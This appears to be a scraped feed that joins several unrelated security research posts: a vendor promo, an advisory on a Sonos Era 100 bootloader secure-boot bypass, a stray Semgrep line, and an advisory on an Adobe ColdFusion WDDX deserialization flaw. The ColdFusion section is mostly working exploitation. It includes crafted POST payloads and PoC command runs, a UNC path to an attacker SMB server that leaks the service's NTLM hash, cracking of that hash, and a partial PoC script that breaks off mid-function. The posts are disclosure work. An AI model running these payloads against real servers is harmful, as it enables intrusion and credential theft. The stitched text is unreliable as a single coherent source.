Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Safari, Hold Still for NaN Minutes! appeared first on Exodus Intelligence.

Vendor: Sonos
Vendor URL: https://www.sonos.com/
Versions affected:
    * Confirmed 73.0-42060
Systems Affected: Sonos Era 100
Author: Ilya Zhuravlev 
Advisory URL: Not provided by Sonos. Sonos state an update was released on 2023-11-15 which remediated the issue. 
CVE Identifier: N/A
Risk: High

Summary

Sonos Era 100 is a smart speaker released in 2023. A vulnerability exists in the U-Boot component of the firmware which would allow for persistent arbitrary code execution with Linux kernel privileges. This vulnerability could be exploited either by an attacker with physical access to the device, or by obtaining write access to the flash memory through a separate runtime vulnerability.

Impact

An unsigned attacker-controlled rootfs may be loaded by the Linux kernel. This achieves a persistent bypass of the secure boot mechanism, providing early code execution within the Linux userspace under the /init process as the “root” user. It can be further escalated into kernel-mode arbitrary code execution by loading a custom kernel module.

Details

The implementation of the custom “sonosboot” command loads the kernel image, performs the signature check, and then passes execution to the built-in U-Boot “bootm” command. Since “bootm” uses the “bootargs” environment variable as Linux kernel arguments, the “sonosboot” command initializes it with a call to `setenv`:

setenv(“bootargs”,(char *)kernel_cmdline);

However, the return result of `setenv` is not checked. If this call fails, “bootargs” will keep its previous value and “bootm” will pass it to the Linux kernel.

On the Sonos Era 100 the U-Boot environment is loaded from the eMMC from address 0x500000. Whilst the factory image does not contain a valid U-Boot environment there, and we can confirm it through the presence of the “*** Warning – bad CRC, using default environment” warning message displayed on UART, it is possible to place a valid environment by directly writing to the eMMC with a hardware programmer.

There is a feature in U-Boot that allows setting environment variables as read-only. For example, setting “bootargs=something” and then “.flags=bootargs:sr” would make any future writes to “bootargs” fail. Thus, the Linux kernel will boot with an attacker-controlled “bootargs“.

As a result, it is possible to fully control the Linux kernel command line. From there, an adversary could append the “initrd=0xADDR,0xSIZE” option to load their own initramfs, overwriting the one embedded in the image.

By replacing the “/init” process it is then possible to obtain early persistent code execution on the device. 

Recommendation

• Consider setting CONFIG_ENV_IS_NOWHERE to disable loading of a U-boot environment from the flash memory.
• Validate the return value of setenv and abort the boot process if the call fails.

Vendor Communication

Thanks to

Alex Plaskett (@alexjplaskett)

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Written by:  Ilya Zhuravlev

Research performed by Ilya Zhuravlev supporting the Exploit Development Group (EDG).

The Era 100 is Sonos’s flagship device, released on March 28th 2023 and is a notable step up from the Sonos One. It was also one of the target devices for Pwn2Own Toronto 2023. NCC found multiple security weaknesses within the bootloader of the device which could be exploited leading to root/kernel code execution and full compromise of the device.

According to Sonos, the issues reported were patched in an update released on the 15th of November with no CVE issued or public details of the security weakness. NCC is not aware of the full scope of devices impacted by this issue. Users of Sonos devices should ensure to apply any recent updates.

To develop an exploit eligible for the Pwn2Own contest, the first step is to dump the firmware, gain initial access to the firmware, and perhaps even set up debugging facilities to assist in debugging any potential exploits.

In this article we will document the process of analyzing the hardware, discovering several issues and developing a persistent secure boot bypass for the Sonos Era 100.

Exploitation was also chained with a previously disclosed exploit by bl4sty to obtain EL3 code execution and obtain cryptographic key material.

Initial recon

After opening the device, we quickly identified UART pins broken out on the motherboard:

The pinout is TX, RX, GND, Vcc

We can now attach a UART adapter and monitor the boot process:

SM1:BL:511f6b:81ca2f;FEAT:B0F02990:20283000;POC:F;RCY:0;EMMC:0;READ:0;0.0;0.0;CHK:0;
bl2_stage_init 0x01
bl2_stage_init 0xc1
bl2_stage_init 0x02

/* Skipped most of the log here */

U-Boot 2016.11-S767-Strict-Rev0.10 (Oct 13 2022 - 09:14:35 +0000)

SoC:   Amlogic S767
Board: Sonos Optimo1 Revision 0x06
Reset: POR
cpu family id not support!!!
thermal ver flag error!
flagbuf is 0xfa!
read calibrated data failed
SOC Temperature -1 C
I2C:   ready
DRAM:  1 GiB
initializing iomux_cfg_i2c
register usb cfg[0][1] = 000000007ffabde0
MMC:   SDIO Port C: 0
*** Warning - bad CRC, using default environment

In:    serial
Out:   serial
Err:   serial

Init Video as 1920 x 1080 pixel matrix
Net:   dwmac.ff3f0000
checking cpuid allowlist (my cpuid is 2b:0b:17:00:01:17:12:00:00:11:33:38:36:55:4d:50)...
allowlist check completed
Hit any key to stop autoboot:  0
pending_unlock: no pending DevUnlock
Image header on sect 0
    Magic:          536f7821
    Version                1
    Bootgen                0
    Kernel Offset         40
    Kernel Checksum 78c13f6f
    Kernel Length     a2ba18
    Rootfs Offset          0
    Rootfs Checksum        0
    Rootfs Length          0
    Rootfs Format          2
Image header on sect 1
    Magic:          536f7821
    Version                1
    Bootgen                2
    Kernel Offset         40
    Kernel Checksum 78c13f6f
    Kernel Length     a2ba18
    Rootfs Offset          0
    Rootfs Checksum        0
    Rootfs Length          0
    Rootfs Format          2
Both headers OK, bootgens 0 2
uboot: section-1 selected
boot_state 0
364 byte kernel signature verified successfully
JTAG disabled
disable_usb: DISABLE_USB_BOOT fuse already set
disable_usb: DISABLE_JTAG fuse already set
disable_usb: DISABLE_M3_JTAG fuse already set
disable_usb: DISABLE_M4_JTAG fuse already set
srk_fuses: not revoking any more SRK keys (0x1)
srk_fuses: locking SRK revocation fuses
Start the watchdog timer before starting the kernel...
get_kernel_config [id = 1, rev = 6] returning 22
## Loading kernel from FIT Image at 00100040 ...
   Using 'conf@23' configuration
   Trying 'kernel@1' kernel subimage
     Description:  Sonos Linux kernel for S767
     Type:         Kernel Image
     Compression:  lz4 compressed
     Data Start:   0x00100128
     Data Size:    9076344 Bytes = 8.7 MiB
     Architecture: AArch64
     OS:           Linux
     Load Address: 0x01080000
     Entry Point:  0x01080000
     Hash algo:    crc32
     Hash value:   2e036fce
   Verifying Hash Integrity ... crc32+ OK
## Loading fdt from FIT Image at 00100040 ...
   Using 'conf@23' configuration
   Trying 'fdt@23' fdt subimage
     Description:  Flattened Device Tree Sonos Optimo1 V6
     Type:         Flat Device Tree
     Compression:  uncompressed
     Data Start:   0x00a27fe8
     Data Size:    75487 Bytes = 73.7 KiB
     Architecture: AArch64
     Hash algo:    crc32
     Hash value:   adbd3c21
   Verifying Hash Integrity ... crc32+ OK
   Booting using the fdt blob at 0xa27fe8
   Uncompressing Kernel Image ... OK
   Loading Device Tree to 00000000417ea000, end 00000000417ff6de ... OK

Starting kernel ...

vmin:32 b5 0 0!

From this log, we can see that the boot process is very similar to other Sonos devices. Moreover, despite the marking on the SoC and the boot log indicating an undocumented Amlogic S767a chip, the first line of the BootROM log containing “SM1” points us to S905X3, which has a datasheet available.

Whilst it’s possible to interrupt the U-Boot boot process, Sonos has gone through several rounds of boot hardening and by now the U-Boot console is only accessible with a password that is stored hashed inside the U-Boot binary. Additionally, the set of accessible U-Boot commands is heavily restricted.

Dumping the eMMC

Continuing probing the PCB, it was possible to locate eMMC data pins next in order to attempt an in-circuit eMMC dump. From previous generations of Sonos devices, we knew that the data on the flash is mostly encrypted. Nevertheless, an in-circuit eMMC connection would also allow to rapidly modify the flash memory contents, without having to take the chip off and put it back on every time.

By probing termination resistors and test points located in the general area between the SoC and the eMMC chip, first with an oscilloscope and then with a logic analyzer, it was possible to identify several candidates for eMMC lines.

To perform an in-circuit dump, we have to connect CLK, CMD, DAT0 and ground at the minimum. While CLK and CMD are pretty obvious from the above capture, there are multiple candidates for the DAT0 pin. Moreover, we could only identify 3 out of 4 data pins at this point. Fortunately, after trying all 3 of these, it was possible to identify the following connections:

Note that the extra pin marked as “INT” here is used to interrupt the BootROM boot process. By connecting it to ground during boot, the BootROM gets stuck trying to boot from SPINOR, which allows us to communicate on the eMMC lines without interference.

From there, it was possible to dump the contents of eMMC and confirm that the bulk of the firmware including the Linux rootfs was encrypted.

Investigating U-Boot

While we were unable to get access to the Sonos Era 100 U-Boot binary just yet, previous work on Sonos devices enabled us to obtain a plaintext binary for the Sonos One U-Boot. At this point we were hoping that the images would be mostly the same, and that a vulnerability existed in U-Boot that could be exploited in a black-box manner utilizing the eMMC read-write capability.

Several such issues were identified and are documented below.

Issue 1: Stored environment

Despite the device not utilizing the stored environment feature of U-Boot, there’s still an attempt to load the environment from flash at startup. This appears to stem from a misconfiguration where the CONFIG_ENV_IS_NOWHERE flag is not set in U-Boot. As a result, during startup it will try to load the environment from flash offset 0x500000. Since there’s no valid environment there, it displays the following warning message over UART:

*** Warning - bad CRC, using default environment

The message goes away when a valid environment is written to that location. This enables us to set variables such as bootcmd, essentially bypassing the password-protected Sonos U-Boot console. However, as mentioned above, the available commands are heavily restricted.

Issue 2: Unchecked setenv() call

By default on the Sonos Era 100, U-Boot’s “bootcmd” is set to “sonosboot”. To understand the overall boot process, it was possible to reverse engineer the custom “sonosboot” handler. On a high level, this command is responsible for loading and validating the kernel image after which it passes control to the U-Boot “bootm” built-in. Because “bootm” uses U-Boot environment variables to control the arguments passed to the Linux kernel, “sonosboot” makes sure to set them up first before passing control:

setenv("bootargs",(char *)kernel_cmdline);

There is however no check on the return value of this setenv call. If it fails, the variable will keep its previous value, which in our case is the value loaded from the stored environment.

As it turns out, it is possible to make this setenv call fail. A somewhat obscure feature of U-Boot allows marking variables as read-only. For example, by setting “.flags=bootargs:sr”, the “bootargs” variable becomes read-only and all future writes without the H_FORCE flag fail.

All we have to do at this point to exploit this issue is to construct a stored environment that first defines the “bootargs” value, and then sets it as read-only by defining “.flags=bootargs:sr”. The execution of “sonosboot” will then proceed into “bootm” and it will start the Linux kernel with fully controlled command-line arguments.

One way to obtain code execution from there is to insert an “initrd=0xADDR,0xSIZE” argument which will cause the Linux kernel to load an initramfs from memory at the specified address, overriding the built-in image.

Issue 3: Malleable firmware image

The exploitation process described above, however, requires that controlled data is placed at a known static address. One way it was found to do that is to abuse the custom Sonos image header. According to U-Boot logs, this is always loaded at address 0x100000:

## Loading kernel from FIT Image at 00100040 ...
   Using 'conf@23' configuration
   Trying 'kernel@1' kernel subimage
     Description:  Sonos Linux kernel for S767
     Type:         Kernel Image
     Compression:  lz4 compressed
     Data Start:   0x00100128
     Data Size:    9076344 Bytes = 8.7 MiB
     Architecture: AArch64
     OS:           Linux
     Load Address: 0x01080000
     Entry Point:  0x01080000
     Hash algo:    crc32
     Hash value:   2e036fce
   Verifying Hash Integrity ... crc32+ OK

The image header can be represented in pseudocode as follows:

uint32_t magic;
uint16_t version;
uint16_t bootgen;
uint32_t kernel_offset;
uint32_t kernel_checksum;
uint32_t kernel_length;

The issue is that while the value of kernel_offset is normally 0x40, it is not enforced by U-Boot. By setting the offset to a higher value and then filling the empty space with arbitrary data, we can place the data at a known fixed location in U-Boot memory while ensuring that the signature check on the image still passes.

Combining all three issues outlined above, it is possible to achieve persistent code execution within Linux under the /init process as the “root” user.

Moreover, by inserting a kernel module this access can be escalated to kernel-mode arbitrary code execution.

Epilogue

There’s just one missing piece and that is to dump the one time programmable (OTP) data so that we can decrypt any future firmware. Fortunately, the factory firmware that the device came pre-flashed with does not contain a fix for the vulnerability disclosed in https://haxx.in/posts/dumping-the-amlogic-a113x-bootrom/

From there, slight modifications are required to adjust the exploit for the different EL3 binary of this device. The arbitrary read primitive provided by the a113x-el3-pwn tool works as-is and allows for the EL3 image to be dumped. With the adjusted exploit we were then able to dump full OTP contents and decrypt any future firmware update for this device.

Disclosure Timeline

“The attack surface is the vulnerability. […]

The post Big update to my Semgrep C/C++ ruleset appeared first on hn security.

Vendor: Adobe
Vendor URL: https://www.adobe.com/uk/products/coldfusion-family.html
Versions affected:
    * Adobe ColdFusion 2023 Update 5 and earlier versions
    * Adobe ColdFusion 2021 Update 11 and earlier versions
Systems Affected: All
Author: McCaulay Hudson ([email protected])
Advisory URL: https://helpx.adobe.com/security/products/coldfusion/apsb23-52.html
CVE Identifier: CVE-2023-44353
Risk: 5.3 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Adobe ColdFusion allows software developers to rapidly build web applications. Recently, a critical vulnerability was identified in the handling of Web Distributed Data eXchange (WDDX) requests to ColdFusion Markup (CFM) endpoints. Multiple patches were released by Adobe to resolve the vulnerability, and each has been given its own CVE and Adobe security update:

• Security updates available for Adobe ColdFusion | APSB23-40 – CVE-2023-29300
• Security updates available for Adobe ColdFusion | APSB23-41 – CVE-2023-38203
• Security updates available for Adobe ColdFusion | APSB23-47 – CVE-2023-38204

From patch diffing, it was observed that the patch uses a deny list in the serialfilter.txt file to prevent specific packages from being executed in the deserialization attack. However, multiple packages were identified which did not exist in the deny list by default. This could be leveraged to perform enumeration of the ColdFusion server, or to set certain configuration values.

The vulnerabilities identified in this post were tested against ColdFusion 2023 Update 3 (packaged with Java JRE 17.0.6) using a default installation. No additional third-party libraries or dependencies were used or required for these specific vulnerabilities identified.

Impact

The vulnerabilities identified allowed an unauthenticated remote attacker to:

• Obtain the ColdFusion service account NTLM password hash when the service was not running as SYSTEM
• Verify if a file exists on the underlying operating system of the ColdFusion instance
• Verify if a directory exists on the underlying operating system of the ColdFusion instance
• Set the Central Config Server (CCS) Cluster Name configuration in the ccs.properties file
• Set the Central Config Server (CCS) Environment configuration in the ccs.properties file

Being able to determine if a directory exists on the ColdFusion system remotely may aid attackers in further attacks against the system. For example, an attacker could enumerate the valid user accounts on the system by brute forcing the C:\Users\ or /home/ directories.

File or directory enumeration could also be used to determine the underlying operating system type and version. Changing the Central Config Server’s environment to development or beta may increase the attack surface of the server for further attacks. Finally, obtaining the service account NTLM hash of the user running ColdFusion may be used to tailor further attacks such as cracking the hash to a plaintext password, or pass-the-hash attacks.

Details

The deserialization attack has been discussed in detail previously by Harsh Jaiswal in the blog post Adobe ColdFusion Pre-Auth RCE(s). The vulnerabilities discussed in this document are an extension of that attack, utilising packages which are currently not in the default deny list.

Due to the constraints of the deserialization attack, the following conditions must be met in order to execute a Java function within the ColdFusion application:

• The class must contain a public constructor with zero arguments
• The target function must begin with the word set
• The target function must not be static
• The target function must be public
• The target function must have one argument
• Multiple public non-static single argument set functions can be chained in a single request
• Must not exist in the cfusion/lib/serialfilter.txt deny list

ColdFusion 2023 Update 3 contained the following cfusion/lib/serialfilter.txt file contents:

!org.mozilla.**;!com.sun.syndication.**;!org.apache.commons.beanutils.**;!org.jgroups.**;!com.sun.rowset.**;

Adhering to those restrictions, the following functions were identified which provided an attacker useful information on the target system.

• File existence – coldfusion.tagext.net.LdapTag.setClientCert
• Directory existence – coldfusion.tagext.io.cache.CacheTag.setDirectory
• Set CCS cluster name – coldfusion.centralconfig.client.CentralConfigClientUtil.setClusterName
• Set CCS environment – coldfusion.centralconfig.client.CentralConfigClientUtil.setEnv

The proof of concept coldfusion-wddx.py script has been provided at the end of this post. The following examples use multiple IP addresses which correspond to the following servers:

• 192.168.198.128 – Attacker controlled server
• 192.168.198.129 – Linux ColdFusion server
• 192.168.198.136 – Windows ColdFusion server

File existence – coldfusion.tagext.net.LdapTag.setClientCert

The setClientCert function in the CentralConfigClientUtil class could be remotely executed by an unauthenticated attacker to perform multiple different attacks. The function definition can be seen below:

public void setClientCert(String keystore) {
    if (!new File(keystore).exists()) {
        throw new KeyStoreNotFoundException(keystore);
    }
    this.keystore = keystore;
}

In this scenario, the attacker can control the keystore string parameter from the crafted HTTP request. An example HTTP request to exploit this vulnerability can be seen below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true HTTP/1.1
Host: 192.168.198.136:8500
Content-Type: application/x-www-form-urlencoded
Content-Length: 202

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcoldfusion.tagext.net.LdapTagx'><var name='clientCert'><string>C:\\Windows\\win.ini</string></var></struct></data></wddxPacket>

Executing this function allows an attacker to check if a file on the filesystem exists. If a file was present, the server would respond with a HTTP status 500. However, if the file did not exist on the target system, the server would respond with a HTTP status 200. This can be seen using the provided coldfusion-wddx.py PoC script:

└─$ python3 coldfusion-wddx.py 192.168.198.136 file-exist C:\\Windows\\win.ini
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] File exists
└─$ python3 coldfusion-wddx.py 192.168.198.136 file-exist C:\\Windows\\invalid-file
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] File does not exist

└─$ python3 coldfusion-wddx.py 192.168.198.129 file-exist /etc/passwd
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] File exists
└─$ python3 coldfusion-wddx.py 192.168.198.129 file-exist /etc/invalid
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] File does not exist

The Java File specification states that the path can be a Microsoft Windows UNC pathname. An attacker can therefore provide a UNC path of an attacker controlled SMB server. This will cause the ColdFusion application to connect to the attacker’s SMB server. Once the connection has occurred, the NTLM hash of the ColdFusion service account will be leaked to the attackers SMB server. However, the NTLM hash is only leaked if the ColdFusion service is not running as the SYSTEM user. It should be noted that by default, the ColdFusion service runs as the SYSTEM user, however Adobe recommends hardening this in the Adobe ColdFusion 2021 Lockdown Guide in section “6.2 Create a Dedicated User Account for ColdFusion”.

In the following example, the ColdFusion service has been hardened to run as the coldfusion user, instead of the default SYSTEM user.

An SMB server is hosted using smbserver.py on the attacker’s machine:

└─$ smbserver.py -smb2support TMP /tmp
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B125FC8-1210-09D4-1220-5A47EA6BB121 V:3.0
[*] Callback added for UUID 6BEEA021-B512-1680-9933-16D3A87F305A V:1.0
...

The file exist ColdFusion vulnerability can then be triggered to access the attacker’s SMB server using the UNC path:

└─$ python3 coldfusion-wddx.py 192.168.198.136 file-exist \\\\192.168.198.128\\TMP
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] File exists

The smbserver.py output shows that the ColdFusion server connected to the attacker’s SMB server, which resulted in the ColdFusion account Net-NTLMv2 hash being leaked:

[*] Incoming connection (192.168.198.136,53483)
[*] AUTHENTICATE_MESSAGE (DESKTOP-J10AQ1P\coldfusion,DESKTOP-J10AQ1P)
[*] User DESKTOP-J10AQ1P\coldfusion authenticated successfully
[*] coldfusion::DESKTOP-J10AQ1P:aaaaaaaaaaaaaaaa:10a621e4f3b9a4b311ef62b45d3c94fd:0101000000000000808450406ecbd901702ffe4197ae622300000000010010006900790064006100520073004b004400030010006900790064006100520073004b0044000200100071004300780052007a005900410059000400100071004300780052007a0059004100590007000800808450406ecbd90106000400020000000800300030000000000000000000000000300000c23fddb9ebd5ba3c293612e488cfa07300752e0ee89205bfbdade370d11ab4520a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100390038002e003100320038000000000000000000
[*] Closing down connection (192.168.198.136,53483)

The hash can then be cracked using tools such as John the Ripper or Hashcat. As shown in the following output, the coldfusion user had the Windows account password of coldfusion.

└─$ echo "coldfusion::DESKTOP-J10AQ1P:aaaaaaaaaaaaaaaa:6d367a87f95d9fb5637bcfad38ae7110:0101000000000000002213dd6ecbd9016f132c6d672d957400000000010010004f0078006d00450061006c0073006f00030010004f0078006d00450061006c0073006f000200100063004200450044006100670074004b000400100063004200450044006100670074004b0007000800002213dd6ecbd90106000400020000000800300030000000000000000000000000300000c23fddb9ebd5ba3c293612e488cfa07300752e0ee89205bfbdade370d11ab4520a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100390038002e003100320038000000000000000000" > hash.txt

└─$ john --format=netntlmv2 --wordlist=passwords.txt hash.txt
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
coldfusion       (coldfusion)

Directory existence – coldfusion.tagext.io.cache.CacheTag.setDirectory

Similar to file existence, it is also possible to determine if a directory exists by leveraging the setDirectory function in the CacheTag class. The function is defined as:

public void setDirectory(String directory) {
    if ("".equals(directory = directory.trim())) {
        CacheExceptions.throwEmptyAttributeException("directory");
    }
    directory = Utils.getFileFullPath(directory.trim(), this.pageContext, true);
    File tempFile = VFSFileFactory.getFileObject(directory);
    if (!CacheTag.fileExists(directory) || tempFile.isFile()) {
        CacheExceptions.throwDirectoryNotFoundException("directory", directory);
    }
    this.directory = directory;
}

In this case, the directory variable can be controlled by an unauthenticated request to the ColdFusion server. Once the functionality has passed various helper methods, it checks whether the directory exists or not and causes a HTTP error 500 when it does exist, and a HTTP error 200 when it does not exist. An example HTTP request can be seen below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1
Host: 192.168.198.129:8500
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='acoldfusion.tagext.io.cache.CacheTaga'><var name='directory'><string>/tmp/</string></var></struct></data></wddxPacket>

Likewise, the coldfusion-wddx.py Python script can be used to automate this request:

└─$ python3 coldfusion-wddx.py 192.168.198.136 directory-exist C:\\Windows\\
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Directory exists
└─$ python3 coldfusion-wddx.py 192.168.198.136 directory-exist C:\\Invalid\\
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist /tmp/
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Directory exists
└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist /invalid/
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist

The helper function VSFileFactory.getFileObject uses the Apache Commons VFS Project for additional file system support. The list of supported file systems can be seen in the cfusion/lib/vfs-providers.xml file.

File System – HTTP/HTTPS

The HTTP(S) schemas allow you to perform a HTTP(S) HEAD request on behalf of the ColdFusion server. In the following example, a HTTP server is hosted on the attacker machine:

└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

The request is then triggered with a path of the attacker’s web server:

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist http://192.168.198.128/
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist

This then causes a HTTP(S) HEAD request to be sent to the server:

192.168.198.129 - - [10/Aug/2023 08:43:01] "HEAD / HTTP/1.1" 200 -

File System – FTP

The FTP schema allows you to connect to an FTP server using the login credentials anonymous/anonymous:

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist ftp://192.168.198.128/
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist

msf6 auxiliary(server/capture/ftp) > 
[+] FTP LOGIN 192.168.198.129:37160 anonymous / anonymous

File System – JAR/ZIP

The JAR/ZIP schema allows you to enumerate the existence of directories within JAR/ZIP files on the ColdFusion server:

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist jar://opt/ColdFusion2023/cfusion/lib/cfusion.jar\!META-INF
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Directory exists

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist jar://opt/ColdFusion2023/cfusion/lib/cfusion.jar\!INVALID
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist

The remaining supported filesystems were not tested, however it is likely they can be used to enumerate directories for the given filesystem.

Set CCS Cluster Name – coldfusion.centralconfig.client.CentralConfigClientUtil.setClusterName

It was possible to set the Central Config Server (CCS) Cluster Name setting by executing the setClusterName function inside the CentralConfigClientUtil class. The function is defined as:

public void setClusterName(String cluster) {
    if (ccsClusterName.equals(cluster)) {
        return;
    }
    ccsClusterName = cluster;
    CentralConfigClientUtil.storeCCSServerConfig();
    ccsCheckDone = false;
    CentralConfigRefreshServlet.reloadAllModules();
}

An attacker can control the cluster parameter and set the cluster name to any value they choose. An example HTTP request to trigger the vulnerability is shown below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1
Host: 192.168.198.129
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 216

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcoldfusion.centralconfig.client.CentralConfigClientUtilx'><var name='clusterName'><string>EXAMPLE</string></var></struct></data></wddxPacket>

Additionally, the provided PoC script can be used to simplify setting the CCS cluster name:

└─$ python3 coldfusion-wddx.py 192.168.198.129 ccs-cluster-name EXAMPLE
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Set CCS cluster name

Once the request has been processed by the ColdFusion server, the clustername property in the cfusion/lib/ccs/ccs.properties file is set to the attacker controlled value, and the cluster name is used by the ColdFusion server.

#Fri Aug 11 09:04:22 BST 2023
loadenvfrom=development
server=localhost
clustername=EXAMPLE
currentversion=-1
hostport=8500
excludefiles=jvm.config,neo-datasource.xml
enabled=false
ccssecretkey=<redacted>
environment=dev
hostname=coldfusion
port=7071
context=
loadversionfrom=-1

Set CCS Environment – coldfusion.centralconfig.client.CentralConfigClientUtil.setEnv

Similar to setting the CCS cluster name, an attacker can also set the CCS environment by executing the setEnv function inside the CentralConfigClientUtil class as shown below:

public void setEnv(String env) {
    if (ccsEnv.equals(env)) {
        return;
    }
    ccsEnv = env;
    CentralConfigClientUtil.storeCCSServerConfig();
    CentralConfigRefreshServlet.reloadAllModules();
}

An example HTTP request to execute this function with the attacker controlled env variable can be seen below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1
Host: 192.168.198.129
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 212

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcoldfusion.centralconfig.client.CentralConfigClientUtilx'><var name='env'><string>development</string></var></struct></data></wddxPacket>

The PoC Python script command ccs-env automates sending this request:

└─$ python3 coldfusion-wddx.py192.168.198.129 ccs-env EXAMPLE
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Set CCS environment

Finally, the environment property in the cfusion/lib/ccs/ccs.properties file has been changed to the attacker controlled value.

#Fri Aug 11 09:08:54 BST 2023
loadenvfrom=development
server=localhost
clustername=_CF_DEFAULT
currentversion=-1
hostport=8501
excludefiles=jvm.config,neo-datasource.xml
enabled=false
ccssecretkey=843c36f1-ca01-4783-9e50-135e0e6450e7
environment=EXAMPLE
hostname=coldfusion
port=7071
context=
loadversionfrom=-1

Recommendation

Do not deserialize user-controlled data where possible. Especially in instances where attackers can provide class names and functions which result in remote code execution. The existing patch uses a deny list which is not recommended, as it is not possible to list and filter all possible attacks that could target the ColdFusion server. This is especially so with the ability to load additional third-party Java files which could be targeted.

Instead, if the deserialization is a critical part of functionality which cannot be changed, an allow list should be used instead of a deny list. This would allow you to carefully review and list the small number of classes which can be used for this functionality, whilst minimising the likelihood of an attack against these classes. Although an allow list is a much better alternative to the deny list, it is still not a secure solution as vulnerabilities may exist within the allowed classes. Likewise, future changes and updates may occur within those vulnerable classes that the developer may not be aware of.

coldfusion-wddx.py

The following proof of concept script “coldfusion-wddx.py” has been provided to demonstrate the various vulnerabilities outlined in this post.

import argparse
import requests
import sys
import enum

URL = None
VERBOSITY = None

class LogLevel(enum.Enum):
    NONE = 0
    MINIMAL = 1
    NORMAL = 2
    DEBUG = 3

class ExitStatus(enum.Enum):
    SUCCESS = 0
    CONNECTION_FAILED = 1
    FUNCTION_MUST_BE_SET = 2
    DIRECTORY_NOT_FOUND = 3
    FILE_NOT_FOUND = 4
    FAIL_SET_CCS_CLUSTER_NAME = 5
    FAIL_SET_CCS_ENV = 6

# Log the msg to stdout if the verbosity level is >= the given level
def log(level, msg):
    if VERBOSITY.value >= level.value:
        print(msg)

# Show a result and exit
def resultObj(obj):
    if VERBOSITY == LogLevel.MINIMAL and 'minimal' in obj:
        log(LogLevel.MINIMAL, obj['minimal'])
    log(LogLevel.NORMAL, obj['normal'])
    sys.exit(obj['status'].value)

# Show a result and exit success/fail wrapper
def result(code, successObj, failObj):
    # Success occurs when a server error occurs
    if code == 500:
        return resultObj(successObj)
    return resultObj(failObj)

# Build the WDDX Deserialization Packet
def getPayload(cls, function, argument, type = 'string'):
    name = function
    
    # Validate the function begins with "set"
    if name[0:3] != 'set':
        log(LogLevel.MINIMAL, '[-] Target function must begin with "set"!')
        sys.exit(ExitStatus.FUNCTION_MUST_BE_SET.value)

    # Remove "set" prefix
    name = function[3:]

    # Lowercase first letter
    name = name[0].lower() + name[1:]

    return f"""<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='x{cls}x'>
            <var name='{name}'>
                <{type}>{argument}</{type}>
            </var>
        </struct>
    </data>
</wddxPacket>"""

# Perform the POST request to the ColdFusion server
def request(cls, function, argument, type = 'string'):
    payload = getPayload(cls, function, argument, type)

